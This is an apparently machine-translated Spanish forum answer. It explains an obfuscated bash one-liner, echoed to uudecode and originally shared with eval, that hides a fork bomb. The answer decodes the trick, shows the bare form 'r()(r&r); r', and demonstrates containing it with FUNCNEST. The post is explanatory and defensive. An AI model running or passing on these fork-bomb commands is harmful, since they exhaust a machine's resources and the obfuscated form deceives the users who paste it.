Primero, veamos todo el comando:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Contiene una cadena entre comillas dobles a la que se hace eco uudecode
. Pero, tenga en cuenta que, dentro de la cadena entre comillas dobles hay una cadena entre comillas . Esta cadena se ejecuta . La cadena es:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Si observamos lo que contiene, vemos tres comandos:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Realizando la expansión de llaves en el comando central, tenemos:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
La primera línea intenta ejecutar un comando sin sentido en segundo plano. Esto no es importante.
La segunda línea es importante: define una función r
que, cuando se ejecuta, lanza dos copias de sí misma. Cada una de esas copias, por supuesto, lanzaría dos copias más. Y así.
La tercera línea corre r
, iniciando la bomba tenedor.
El resto del código, fuera de la cadena entre comillas, no tiene sentido para la ofuscación.
Cómo ejecutar el comando de forma segura
Este código se puede ejecutar de forma segura si establecemos un límite en el nivel de anidación de la función. Esto se puede hacer con la FUNCNEST
variable de bash . Aquí, lo configuramos 2
y esto detiene la recursividad:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Los mensajes de error anteriores muestran que (a) los comandos sin sentido rYWdl
y Y29j
no se encuentran, (b) la bomba de horquilla se detiene repetidamente por FUNCNEST, y (c) la salida de echo
no comienza begin
y, en consecuencia, no es una entrada válida para uudecode
.
La bomba tenedor en su forma más simple.
¿Cómo sería la bomba tenedor si eliminamos el oscurecimiento? Como sugieren njzk2 y gerrit, se vería así:
echo "`r()(r&r);r`"
Podemos simplificar eso aún más:
r()(r&r); r
Consiste en dos declaraciones: una define la función fork-bomb r
y la segunda se ejecuta r
.
Todo el otro código, incluida la tubería uudecode
, estaba allí solo para el oscurecimiento y la mala dirección.
La forma original tenía otra capa de dirección errónea.
El OP ha proporcionado un enlace a la discusión de la junta directiva en la que apareció este código. Como se presentó allí, el código se veía así:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Observe uno de los primeros comentarios sobre este código:
Me enamoré de eso. Copié solo la parte que hace eco y decodifica, pero aún así se bifurcó
En la forma en el tablero del canal, uno pensaría ingenuamente que el problema sería la eval
declaración que opera en la salida de uudecode
. Esto llevaría a pensar que eliminar eliminaría eval
el problema. Como hemos visto anteriormente, esto es falso y peligroso.